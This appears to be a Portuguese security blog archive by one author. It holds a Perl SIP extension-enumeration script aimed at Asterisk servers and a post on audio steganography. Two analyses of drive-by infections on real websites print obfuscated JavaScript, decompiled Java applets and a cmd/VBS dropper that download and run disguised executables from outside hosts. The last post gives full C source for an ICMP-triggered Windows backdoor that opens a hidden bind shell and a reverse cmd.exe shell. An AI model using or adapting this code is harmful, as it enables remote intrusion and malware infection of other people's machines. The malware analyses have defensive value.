Arquivos
Sip Protocol Danger
Olá !!
Dia do SysAdmin então pq não falar de segurança !
Quem nunca se deparou com tentativas de ataque que atire a primeira pedra rsrs. No mundo da voz sobre IP a coisa não poderia ser diferente, meu Alerta vai para a comunidade Asterisk já faz alguns meses que resolvi colocar a prova como se comporta o protocolo SIP.
E o review que consegui foi alarmante, imagine você descobrir remotamente via porta SIP quais ramais existem em seu PBXIP e pior que isso ainda poder usar dicionários para chutar as senhas, pois bem isso é possóvel e grave..
Vamos aos meus testes:
-Configurar um Server Asterisk
-Criar ramais
-Deixar a porta 5060 (SIP) em listem para a internet
-Criar um script Perl para conectar na porta 5060 UDP e enviar o método de registro documentando pela arquitetura SIP e pegar o Retorno.
Detalhe conseguia saber os ramais existentes remotamente analisando a simples resposta do protocolo …
Testando ramais não existentes no Servidor Asterisk a resposta foi:
Retorno ‘SIP/2.0 404 Not found …..”
Segue tela do retorno
No Servidor que recebe o ataque em meus logs tenho
[Jul 30 18:50:08] NOTICE[2941] chan_sip.c: Registration from ‘sip:ramal@IP_server <sip:ramal@IP_server>’ failed for ‘Ip_remoto’ – No matching peer found
Owww já sei que este ramal nao existe no servidor entao resolvi colocar um existente e recebo na tela :
Retorno ‘SIP/2.0 100 Trying
Pronto temos um padrão retorno 100 ramal Existente retorno 404 ramal Inexistente.
Parece perigoso o pior de tudo isso é que apos isso vc pode passar via Socket tentativas de senha e verificar o retorno, novamente perigo eminente…
bom para quem quer testar seus servidores vou colocar o script aqui ..
#!/usr/bin/perl
use Socket;
sub envia {
$servidor_ip = shift;
$ramal = shift;
$sip_to = shift;
$sip_from = “asterisk”;
$tm = time();
$call_id = $tm . “msgto$sip_to”;
$httptime = `date -R`;
$MESG =
“REGISTER sip:$servidor_ip SIP/2.0
Via: SIP/2.0/UDP 127.0.0.1:60576;branch=z9hG4bK-d87543-061cb00346133471-1–d8754 3-;rport
Max-Forwards: 70
Contact: <sip:$ramal\@127.0.0.1:60576;rinstance=f0265fa8a56b482e>
To: sip:$ramal\@$servidor_ip <sip:$ramal\@$servidor_ip>
From: <sip:$ramal\@127.0.0.1>;tag=3f0fc020
Call-ID: c355bd6a0c2dda04MGY1MmU2YjE2MjY4ZTk1YjNiMWE4ZGQxYzdhZDU2MTA.
CSeq: 5 REGISTER
Expires: 3600
Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, NOTIFY, MESSAGE, SUBSCRIBE, INF O
User-Agent: X-Lite release 1002tx stamp 29712
Content-Length: 0
“;
$proto = getprotobyname(‘udp’);
socket( SOCKET, PF_INET, SOCK_DGRAM, $proto );
$iaddr = inet_aton(“$servidor_ip”);
$paddr = sockaddr_in( 5060, $iaddr );
bind( SOCKET, $paddr );
$port = 5060;
$hisiaddr = inet_aton($servidor_ip);
$hispaddr = sockaddr_in( $port, $hisiaddr );
print “Enviado\n”;
if ( send( SOCKET, $MESG, 0, $hispaddr ) ) {
print “envio para “, “$servidor_ip”, ” com sucesso”, “\n”;
my $ptime;
my $src = recv(SOCKET, $ptime, 128, 0);
print “\nRetorno ‘”, $ptime,”‘\n”;
}
else { print “envio”, “$servidor_ip”, ” falhou”, “\n”; }
}
envia(“IP_REMOTO_AQUI”, “RAMAL_REMOTO_AQUI”, “1005″);
exit;
[]‘s
Eng Eder de Souza
Esteganografia Spectrograma em Arquivos de Audio
Vamos falar hoje sobre um assunto bem bacana e antigo, mas que nos dias atuais pode ser utilizado de varias formas para esconder informaçoes, ja faz um bom tempo que escrevi alguns sources que demonstra como converter uma imagen para sinais de audio digital para depois recuperar esta informaçao pelo Spectrograma do sinal de audio injetado, hoje em dia com toda a revoluçao VOIP poderiamos certamente passar varios tipos de informaçoes codificadas dentro de arquivos de voz !!!
Bom vamos as explicaçoes minha ideia seria percorrer toda a imagen em busca dos valores RGB e montar uma matriz correspondente, com isso poderia usar a transformada de fourrier no modo inverso
Pronto assim temos um sinal, com o sinal em maos eu injeto esses dados em um arquivo de audio e assim criamos um arquivo com um som bem particular, a proxima etapa seria recuperar estes dados, conseguimos isso pegando o spectrograma do arquivo de audio gerado …
Bom vamos as demonstraçoes!
Vamos pegar um arquivo .bmp monocromatico para testar, de inicio vamos pegar este como exemplo.

detect:~# python imageWAV.py eder.bmp
Arquivo de audio gerado
detect:~#
com isso temos um arquivo wav da imagem !!
Escute aqui o Arquivo Gerado.
saida_spectro.wav
Haha temos um sinal de audio convertido a partir de uma imagem lol
Mas e ae vamos recuperar a imagem pelo spectro do arquivo de audio
detect:~# python son4.py
E ae esta o resultado do spectro do audio !!!
Legal
[]‘s
Eng Eder de Souza
http://info.abril.com.br/ Permitindo Infecções
Olá pessoal estava eu navegando tranquilamente pela Internet e exatamente as 18:00 horas da data de hoje 29/10/2009 me deparo com mais uma possível tentativa de infecção via página web, desta vez o alvo foi o forum do site http://info.abril.com.br.
Vamor ver o que isso nos revela identifiquei o problema na área de forum-antigo do site não verifiquei se outras áreas estão comprometidas…
Ao entrar em http://info.abril.com.br/forum-antigo/areas.php temos várias salas de discuções, procurei a sala de C++ que me levou para o seguinte link http://info.abril.com.br/forum-antigo/topicos.php?area=142, até ae tudo tranquilo cliquei em um tópico qualquer e por sinal os tópicos são bem antigos cliquei no tópico que havia um source em C++ com DLLIMPORT para Ldap achei meio interessante, ao clicar é que a aventura se inicia fui para a seguinte página http://info.abril.com.br/forum-antigo/forum.php?topico=864538, adivinha uma janela do java pede confirmação “run”, mais uma vez vem a minha mente não vem coisa boa então vamos ao garimpo….
FreeBsd em ação:
yoda# fetch http://info.abril.com.br/forum-antigo/forum.php
humm source do forum.php dei um locate dentro dele procurando o .jar nada e nada, mas nao desisti olhei com calma logo pensei é algum frame nesta página e bingo ultima linha do source existia:
<IFRAME NAME=”editoraabril” SRC=”http://65.114.98.174/i.html” WIDTH=”0″ HIEGHT=”0″ FRAMEBORDER=”0″></IFRAME>
Ae ae ae nesse instante eu já imaginava que nao vinha coisa boa prompt do FreeBsd:
yoda# fetch http://65.114.98.174/i.html
yoda# vi i.html
para a minha surpresa olha o resultado do arquivo
yoda# cat i.html
<!–hppage status=”protected”–>
<html><!–HEAD–><SCRIPT LANGUAGE=”JavaScript”><!–
document.write(unescape(“%3C%53%43%52%49%50%54%20%4C%41%4E%47%55%41%47%45%3D%22%4A%61%76%61%53%63%72%69%70%74%22%3E%3C%21%2D%2D%0D%0A%68%70%5F%6F%6B%3D%74%72%75%65%3B%66%75%6E%6
3%74%69%6F%6E%20%68%70%5F%64%30%32%28%73%29%7B%69%66%28%21%68%70%5F%6F%6B%29%72%65%74%75%72%6E%3B%76%61%72%20%6F%3D%22%22%2C%61%72%3D%6E%65%77%20%41%72%72%61%79%28%29%2C%6F%73%3
D%22%22%2C%69%63%3D%30%2C%70%3D%30%3B%66%6F%72%28%69%3D%30%3B%69%3C%73%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%7B%63%3D%73%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%3B%69%66%28%63%3
C%31%32%38%29%63%3D%63%5E%28%28%70%2B%2B%25%38%29%2B%31%29%3B%6F%73%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%63%29%3B%69%66%28%6F%73%2E%6C%65%6E%67%74%6
8%3E%38%30%29%7B%61%72%5B%69%63%2B%2B%5D%3D%6F%73%3B%6F%73%3D%22%22%7D%7D%6F%3D%61%72%2E%6A%6F%69%6E%28%22%22%29%2B%6F%73%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%6F%29%7
D%2F%2F%2D%2D%3E%3C%2F%53%43%52%49%50%54%3E”));//–></SCRIPT><SCRIPT LANGUAGE=”JavaScript”><!–
hp_d02(unescape(“=Q@VLVS(MCMCPG@M%3C IesgTksksp’8;),/^N^Ncsikuklj%25nwWbo+-~tb|tpm$cgk{d%7Feqkesanl#luYjl)g*%7Fhgd5ocumbgsgs,vw`tFodlw*lhcmyMe,%22Kfk&+%229(7%3Cag%22+`jeredlw*dj
k!zke,`pbfu,aqqrhf%3C?1xy.jib$%25,`pbfu,`pwjLmx~%7Fasci|/if}Ficm%3C?:5,/.ssgwqwh’n`npax{bdrgxmc.b&vjjgm;:;}~+ide!.)g-ijbnnhgqw8;5t}g-gqtkCd{*-,}umuwqj%25`fdrg~yxoa ocumbgsgs,btu
Hfed,jjac%7FGg*$Mkrbzogw$@~wdnpfv%22/:5,3%7Fx-hf~hebpjt)}rgqEbci|/km“~Hn)%25NWLC ! ?.5# cgbwnakr)imn-h`h`|i#>4,/|ag*gkfsjmov-eij.slc`9kgqafcwkw(r{dpBc`hs&hlga}Ia &Obg%22/&5,38r
`ttanl>tdttmGnleq. 8&)meso`iumq*pubz@efjq(t}cqwv-hf~hebpjt)}rgqEbci|/km“~Hn)%25NWLC !*7*(46.3hd+%25hgd.’tfvvohf?6*%7Faid}lgmp+iiknlwa}rjmow>luYde|gow`}cgbwnakr)goolqvccgvl>luYj
l:flgpkbfu,ljnc~lnum9mvXee%7F~aiub(hd+`jeredlw*ig~msq*%7Froilnu-gdvs}sgFr`hs{)Guakr)ENWPAAIPF}Guakr)enfjblcu{}Guakr)CD[GKRH.3vkm`jq)goolqvccgvl>luYjl:ujjaip&nlha|bh%7Fo?ktZkcudn
~
Criptografado entao vamos descriptografar !!
Com ele descriptografado temos :
yoda# cat i_descripto.html
<script language="JavaScript">
</script>
<script language="JavaScript">
</script>
<script language="JavaScript">
</script>
<script language="JavaScript">
</script>
<script language="JavaScript">
</script>
<meta content="No-Cache" http-equiv="Pragma"/>
<meta content="No-Cache,Must-Revalidate,No-Store" http-equiv="Cache-Control"/>
<meta content="NoIndex" name="Robots"/>
<meta content="0" http-equiv="Expires"/>
<applet height="1" width="1" archive="google.jar" code="main.class" name="Java Plugin (Clique em ''Run'' para um funcionamento correto)"/>
<noscript>To display this page you need a browser with JavaScript support.</noscript>
<script language="JavaScript">
</script>
yoda#
Bingo olha ae o jar google.jar BOOMMM !!!
yoda# fetch http://65.114.98.174/google.jar
yoda# unzip google.jar
Archive: google.jar
inflating: META-INF/MANIFEST.MF
inflating: META-INF/KEY.SF
inflating: META-INF/KEY.RSA
inflating: main.class
yoda#
Entao vamos lá eng. reversa em main.class
E ae esta o Coração do Dragão
import java.applet.Applet;
import java.io.BufferedInputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.net.URL;
import java.net.URLConnection;
public class main extends Applet
{
private static final long serialVersionUID = 2L;
public void main_start()
throws Exception
{
String str1 = System.getenv("USERPROFILE");
byte[] arrayOfByte = new byte[10240];
String str2 = getParameter(“p”);
File localFile1 = new File(str1 + “\\maind.exe“);
FileOutputStream localFileOutputStream = new FileOutputStream(localFile1);
URL localURL = new URL(str2);
URLConnection localURLConnection = localURL.openConnection();
BufferedInputStream localBufferedInputStream = new BufferedInputStream(localURLConnection.getInputStream());
while ((i = localBufferedInputStream.read(arrayOfByte)) > 0)
{
int i;
localFileOutputStream.write(arrayOfByte, 0, i); }
localFileOutputStream.close();
try
{
Runtime.getRuntime().exec(localFile1.getAbsolutePath());
}
catch (IOException localIOException)
{
File localFile2 = File.createTempFile(“tmp”, “.bat”);
localFile2.createNewFile();
localFile2.deleteOnExit();
Runtime.getRuntime().exec(localFile2.getAbsolutePath());
localFile2.delete();
}
localFile1.deleteOnExit();
}
public void init()
{
try
{
main_start();
}
catch (Exception localException)
{
localException.printStackTrace();
}
super.init();
}
}
Mais uma vez heim não aguento mais, Amanha vou analisar o source com carinho te mais!!
Eng Eder de Souza
Mais um site Permitindo Infecção de Computadores
Desta vez o site é o http://broadwayworld.com
O site apresenta a mesma falha existente no site do saopaulofc.com.br uma análise pode ser encontrada aqui
A infecção ocorre quando os usuários clicam sobre um link dentro do site este direciona o usuário para uma página chamada “poll.cfm” este link é referenciado com conteúdos de enquetes perguntadas pelo site sobre as celebridades.
A técnica é a mesma já descrita aqui veja:

Reparem do lado direito da imagem o campo chamado “QUICK POLL” ele o leva para “poll.cfm”
que apresenta o seguinte código

O mesmo conteúdo do site saopaulofc.com.br…
Estou começando a achar que existem mais sites infectados do podemos imaginar.
Até a Próxima…
Site http://www.saopaulofc.com.br Hackeado
Conversa sobre até então uma possível Invasão:
“Fernando *Eternamente* says:
Wando?
٠•● ıl.ıl.ılıl.ıl [̲̲̅̅E̲̲̅̅] [̲̲̅̅D̲̲̅̅] [̲̲̅̅E̲̲̅̅] [̲̲̅̅R̲̲̅̅] ıl.ıl.ılıl.ıl ●•٠ says:
é agora quem podera nos defender ?
Fernando *Eternamente* says:
http://www.saopaulofc.com.br/index.php
acessa ai
٠•● ıl.ıl.ılıl.ıl [̲̲̅̅E̲̲̅̅] [̲̲̅̅D̲̲̅̅] [̲̲̅̅E̲̲̅̅] [̲̲̅̅R̲̲̅̅] ıl.ıl.ılıl.ıl ●•٠ says:
nem fudendo esse lixo ae
Fernando *Eternamente* says:
tá chamando para executar uma parada de java
٠•● ıl.ıl.ılıl.ıl [̲̲̅̅E̲̲̅̅] [̲̲̅̅D̲̲̅̅] [̲̲̅̅E̲̲̅̅] [̲̲̅̅R̲̲̅̅] ıl.ıl.ılıl.ıl ●•٠ says:
sera q foi invadido ?
Fernando *Eternamente* says:
então, eu achei estranho cara
٠•● ıl.ıl.ılıl.ıl [̲̲̅̅E̲̲̅̅] [̲̲̅̅D̲̲̅̅] [̲̲̅̅E̲̲̅̅] [̲̲̅̅R̲̲̅̅] ıl.ıl.ılıl.ıl ●•٠ says:
pera ae deixa eu ir pro desktop freebsd para abrir”
Eu sou Palmeirense antes de mais nada ..
Como é de se esperar vejam !!!
Analisando o Index.php
<applet width=’1′ height=’1′ code=’FlashPlayer.class’ archive=’http://www.sparesweb.com/images/flash.jar’>
yoda# fetch http://www.sparesweb.com/images/flash.jar
yoda# file flash.jar
flash.jar: Zip archive data, at least v2.0 to extract
yoda# unzip flash.jar
inflating: META-INF/MANIFEST.MF
inflating: META-INF/FLASHPLA.SF
inflating: META-INF/FLASHPLA.DSA
inflating: FlashPlayer.class
usando engenharia reversa em FlashPlayer.class
import java.applet.Applet;
import java.io.IOException;
public class FlashPlayer extends Applet
{
public void init()
{
String str1 = getParameter(“first”);
try {
Process localProcess1 = Runtime.getRuntime().exec(str1);
}
catch (IOException localIOException1)
{
localIOException1.printStackTrace();
}
String str2 = getParameter(“second”);
try {
Process localProcess2 = Runtime.getRuntime().exec(str2);
}
catch (IOException localIOException2) {
localIOException2.printStackTrace();
}
String str3 = getParameter(“third”);
try {
Process localProcess3 = Runtime.getRuntime().exec(str3);
}
catch (IOException localIOException3) {
localIOException3.printStackTrace();
}
}
}
Analisando novamente o index.php
<param name=’first’ value=’cmd.exe /c echo Const adTypeBinary = 1 > poq.vbs & echo Const adSaveCreateOverWrite = 2 >> poq.vbs & echo Dim BinaryStream >> poq.vbs & echo Set BinaryStream = CreateObject(“ADODB.Stream”) >> poq.vbs & echo BinaryStream.Type = adTypeBinary >> poq.vbs & echo BinaryStream.Open >> poq.vbs & echo BinaryStream.Write BinaryGetURL(Wscript.Arguments(0)) >> poq.vbs & echo BinaryStream.SaveToFile Wscript.Arguments(1), adSaveCreateOverWrite >> poq.vbs & echo Function BinaryGetURL(URL) >> poq.vbs & echo Dim Http >> poq.vbs & echo Set Http = CreateObject(“WinHttp.WinHttpRequest.5.1″) >> poq.vbs & echo Http.Open “GET”, URL, False >> poq.vbs & echo Http.Send >> poq.vbs & echo BinaryGetURL = Http.ResponseBody >> poq.vbs & echo End Function >> poq.vbs & echo Set shell = CreateObject(“WScript.Shell”) >> poq.vbs & echo shell.Run “lsass.exe” >> poq.vbs & start poq.vbs http://www.mustrad.org.uk/ses/reviews/adobe.jpg lsass.exe’>
Analisando :
yoda# fetch http://www.mustrad.org.uk/ses/reviews/adobe.jpg
yoda# file adobe.jpg
adobe.jpg: MS-DOS executable PE for MS Windows (GUI) Intel 80386 32-bit
Olhando novamente o arquivo FlashPlayer.class, podemos notar o getParameter(“first”); na qual permite execução de processos locais passados como parametros para o JavaApllet. Esta execução monta o segunte arquivo.
poq.vbs
Const adTypeBinary = 1
Const adSaveCreateOverWrite = 2
Dim BinaryStream
Set BinaryStream = CreateObject(“ADODB.Stream”)
BinaryStream.Type = adTypeBinary
BinaryStream.Open
BinaryStream.Write BinaryGetURL(Wscript.Arguments(0))
BinaryStream.SaveToFile Wscript.Arguments ( 1 ) , adSaveCreateOverWrite
Function BinaryGetURL ( URL )
Set Http = CreateObject(WinHttp.WinHttpRequest.5.1)
Dim Http
Set Http = CreateObject(WinHttp.WinHttpRequest.5.1)
Http.Open “GET”, URL, False
Http.Send
BinaryGetURL = Http.ResponseBody
End Function
Set shell = CreateObject(“WScript.Shell”)
shell.Run “lsass.exe”
o poq.vbs é executado tendo como parametro o jpg http://www.mustrad.org.uk/ses/reviews/adobe.jpg que como vimos o adobe.jpg nada mais é do que um arquivo DOS executável. tornando infectado o processo Windows “lsass.exe”
O Problema Aparentemente foi identificado na noite de 15/10/2009.
Até a presente data da publicação desta análise hora 14:00 do dia 16/10/2009, o problema no site em questão ainda não havia sido resolvido…
Acho que é isso sempre Alerta …
import java.io.IOException;
Relembrando a Faculdade
Semana passada estava fazendo uma grande limpa de cd’s antigos em casa, quando me deparo com um CD escrito “Tralhos Faculdade” resolvi ver o conteudo e estava cheio de sources em C, logo me atenti em um nome “frankenstein.c” entao dev-c++ entra em ação e me reporta momentos nostálgicos, era um source que tinha feito para brincadeiras nos labs Windows da faculdade, época onde a brincadeira rolava solta, labs infestados de Windows assim como areia no deserto, me lembro que tinha feito vários destes brinquedinhos para tomar conexao remota de máquinas por controle de ping estipulando o tamanho dos pacotes…
Para quem ficou Curioso ae esta o Source !!
/*
Em solo Linux ou Windows disparar ping para o host na qual o programa esta executando !
Compilador:
DevC++:
Pacotes com tamanho 400 dispara msg na tela
Pacotes com tamanho 500 Abre porta tcp 12345 para conexao via telnet
Pacotes com tamanho 600 faz um bind para o seu ip em Listem na porta TCP 55
Ex:
Linux
ping -s 400 IP
Windows
ping IP -l 400
*/
#define _WIN32_WINNT 0×0500
#define MAX_PACKET_SIZE 65525
#define SIO_RCVALL _WSAIOW(IOC_VENDOR,1)
#define MAXBUFFER 1024
#define SHELL_NAME “cmd.exe”
#define MEUIP_VALIDO “COlOQUE SEU IP VALIDO”
#include <windows.h>
#include <stdio.h>
#include <winsock2.h>
#pragma comment(lib,”ws2_32″)
SOCKET sock,cli,sendrecv;
HANDLE InputRead, InputWrite, OutputRead, OutputWrite;
HANDLE hRead, hWrite;
BOOL uscita;
DWORD WINAPI Output(LPVOID data);
DWORD WINAPI Input(LPVOID data);
DWORD threadIdOut, threadIdIn;
DWORD ByteRead;
SECURITY_ATTRIBUTES sa;
STARTUPINFO si;
PROCESS_INFORMATION pi;
char buf[1024];
int WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow);
int lun=sizeof (struct sockaddr);
int verifica=0;
typedef struct iphdr
{
unsigned char VerIHL;
unsigned char Tos;
unsigned short Total_len;
unsigned short ID;
unsigned short Flags_and_Frags;
unsigned char TTL;
unsigned char Protocol;
unsigned short Checksum;
unsigned long SrcIP;
unsigned long DstIP;
} IpHeader;
typedef struct port
{
unsigned short SrcPort;
unsigned short DstPort;
}
TcpUdpPort;
int BytesRecv;
char *BIND2IP= “127.0.0.1″;
void PegaIP()
{
WSADATA wsaData;
char szHostname[100];
HOSTENT *pHostEnt;
int nAdapter = 0;
int i = 0;
char *IP;
struct sockaddr_in sAddr;
if (WSAStartup(0×0101, &wsaData))
{
printf(“WSAStartup Falhou %s\n”, WSAGetLastError());
return;
}
gethostname( szHostname, sizeof( szHostname ));
pHostEnt = gethostbyname( szHostname );
while ( pHostEnt->h_addr_list[nAdapter] )
{
i++;
memcpy ( &sAddr.sin_addr.s_addr, pHostEnt->h_addr_list[nAdapter],
pHostEnt->h_length);
if (i == 1) {
IP = inet_ntoa(sAddr.sin_addr);
printf(“Endereço IP principal: %s\n”, IP);
BIND2IP = IP;
}
nAdapter++;
}
WSACleanup();
return;
}
void MostraMsg()
{
CreatePipe(&hRead, &hWrite, NULL, 0);
WriteFile(hWrite, “Humm já eraaa”, 13, &ByteRead, NULL);
ReadFile(hRead, buf, 13, &ByteRead, NULL);
MessageBox(HWND_DESKTOP, buf, “OI”, MB_OK);
}
void TelNete()
{
WSADATA wsaData;
SOCKET hSocket;
STARTUPINFO si;
PROCESS_INFORMATION pi;
struct sockaddr_in serv_addr;
struct sockaddr_in sock_addr,sendrecv_addr;
WSADATA data;
WORD p;
int len(char *);
p=MAKEWORD(2,0);
WSAStartup(p,&data);
verifica=1;
WSAStartup(MAKEWORD(2,0),&wsaData);
hSocket = WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL);
serv_addr.sin_family=PF_INET;
serv_addr.sin_port=htons(12345);
serv_addr.sin_addr.s_addr=INADDR_ANY;
sock=socket(PF_INET,SOCK_STREAM,0);
bind(sock,(struct sockaddr *)&serv_addr,0×10);
listen(sock,1);
sendrecv=accept(sock,(struct sockaddr*)&sendrecv_addr,&lun);
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.bInheritHandle = TRUE;
sa.lpSecurityDescriptor = NULL;
if(!CreatePipe(&OutputRead, &OutputWrite, &sa, 0))
printf(“CreatePipe %d”, GetLastError());
if(!CreatePipe(&InputRead, &InputWrite, &sa, 0))
printf(“CreatePipe %d”, GetLastError());
memset((void *) &si, 0, sizeof(si));
memset((void *) &pi, 0, sizeof(pi));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES + STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
si.hStdInput = InputRead;
si.hStdOutput = OutputWrite;
si.hStdError = OutputWrite;
if (!CreateProcess(NULL, SHELL_NAME, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi))
printf(“CreateProcess %d”, GetLastError());
CloseHandle(OutputWrite);
CloseHandle(InputRead);
if (!CreateThread(NULL, 0, Output, NULL, 0, &threadIdOut))
printf(“CreateThread %d”, GetLastError());
if (!CreateThread(NULL, 0, Input, NULL, 0, &threadIdIn))
printf(“CreateThread %d”, GetLastError());
uscita=FALSE;
while(uscita!=TRUE)
Sleep(100);
}
DWORD WINAPI Output(LPVOID data){
char buffer[MAXBUFFER];
DWORD bytes;
do{
ReadFile(OutputRead, &buffer, MAXBUFFER, &bytes, NULL);
buffer[bytes]=0;
if (bytes>0)
send(sendrecv, buffer, bytes, 0);
else
uscita=TRUE;
Sleep(100);
}
while(TRUE);
}
DWORD WINAPI Input(LPVOID data){
char buffer[MAXBUFFER];
DWORD bytes;
do{
bytes=recv(sendrecv, buffer, MAXBUFFER, 0);
buffer[bytes]=0;
WriteFile(InputWrite, &buffer, strlen(buffer), &bytes, NULL);
Sleep(100);
}
while(TRUE);
}
void MeBinda()
{
WSADATA wsaData;
SOCKET hSocket;
STARTUPINFO si;
PROCESS_INFORMATION pi;
struct sockaddr_in adik_sin;
memset(&adik_sin,0,sizeof(adik_sin));
memset(&si,0,sizeof(si));
WSAStartup(MAKEWORD(2,0),&wsaData);
hSocket = WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL);
adik_sin.sin_family = AF_INET;
adik_sin.sin_port = htons(55);
adik_sin.sin_addr.s_addr = inet_addr(MEUIP_VALIDO);
connect(hSocket,(struct sockaddr*)&adik_sin,sizeof(adik_sin));
si.wShowWindow = SW_HIDE;
si.cb = sizeof(si);
si.wShowWindow = SW_HIDE;
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdInput = si.hStdOutput = si.hStdError = (void *)hSocket;
CreateProcess(NULL,SHELL_NAME,NULL,NULL,1,NULL,NULL,NULL,&si,&pi);
ExitProcess(0);
}
void PegaPacotes(char* Buffer, int Size)
{
IpHeader *iphdr;
TcpUdpPort *port;
struct sockaddr_in SockAddr;
unsigned short iphdrlen;
char C;
iphdr = (IpHeader *)Buffer;
iphdrlen = (iphdr->VerIHL << 4);
memcpy(&C, &iphdrlen, 1);
iphdrlen = (C >> 4) * 4; //20
switch (iphdr->Protocol)
{
case 1:
printf(“\n”);
printf(“Tamanho do Pacote %d \n”, BytesRecv);
printf(“Protocolo: ICMP “);
memset(&SockAddr, 0, sizeof(SockAddr));
SockAddr.sin_addr.s_addr = iphdr->SrcIP;
printf(“Pacote de: %s “, inet_ntoa(SockAddr.sin_addr));
memset(&SockAddr, 0, sizeof(SockAddr));
SockAddr.sin_addr.s_addr = iphdr->DstIP;
printf(“Para: %s “, inet_ntoa(SockAddr.sin_addr));
if(verifica == 0) {
if(BytesRecv == 400+28){
MostraMsg();}
if(BytesRecv == 500+28){
TelNete();}
if(BytesRecv == 600+28){
MeBinda();}
}
break;
}
}
void IniciaCaptura(SOCKET Sock)
{
char *RecvBuffer = (char *)malloc(MAX_PACKET_SIZE + 1);
int FromLen;
struct sockaddr_in From;
if (RecvBuffer == NULL)
{
printf(“malloc() falhou.\n”);
exit(-1);
}
FromLen = sizeof(From);
do
{
memset(RecvBuffer, 0, MAX_PACKET_SIZE + 1);
memset(&From, 0, sizeof(From));
BytesRecv = recvfrom(Sock, RecvBuffer, MAX_PACKET_SIZE, 0, (struct sockaddr *)&From, &FromLen);
if (BytesRecv > 0)
{
PegaPacotes(RecvBuffer, BytesRecv);
}
else
{
printf( “recvfrom() falhou.\n”);
}
} while (BytesRecv > 0);
free(RecvBuffer);
}
int main()
{
/*HWND hWnd = GetConsoleWindow();
ShowWindow( hWnd, SW_HIDE );*/
//Ativar as duas linhas para tornar a janela inivisível
WSADATA wsaData;
SOCKET Sock;
struct sockaddr_in SockAddr;
struct hostent *he;
DWORD BytesReturned;
int I = 1;
if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0)
{
printf(“WSAStartup() falhou.\n”);
exit(-1);
}
Sock = socket(AF_INET, SOCK_RAW, IPPROTO_IP);
if (Sock == INVALID_SOCKET)
{
printf(“socket() falhou.\n”);
exit(-1);
}
PegaIP();
memset(&SockAddr, 0, sizeof(SockAddr));
SockAddr.sin_addr.s_addr = inet_addr(BIND2IP);
printf(“Modo Promiscuo Ativado Interceptando pacotes ICMP para o IP:(%s)\n”, BIND2IP);
SockAddr.sin_family = AF_INET;
SockAddr.sin_port = 0;
if (bind(Sock, (struct sockaddr *)&SockAddr, sizeof(SockAddr)) == SOCKET_ERROR)
{
printf(“socket() falhou.\n”);
exit(-1);
}
if (WSAIoctl(Sock, SIO_RCVALL, &I, sizeof(I), NULL, 0, &BytesReturned, NULL, NULL) == SOCKET_ERROR)
{
printf(“WSAIoctl() falhou.\n”);
exit(-1);
}
IniciaCaptura(Sock);
{
printf(“Problemas\n”);
}
closesocket(Sock);
WSACleanup();
return 0;
}

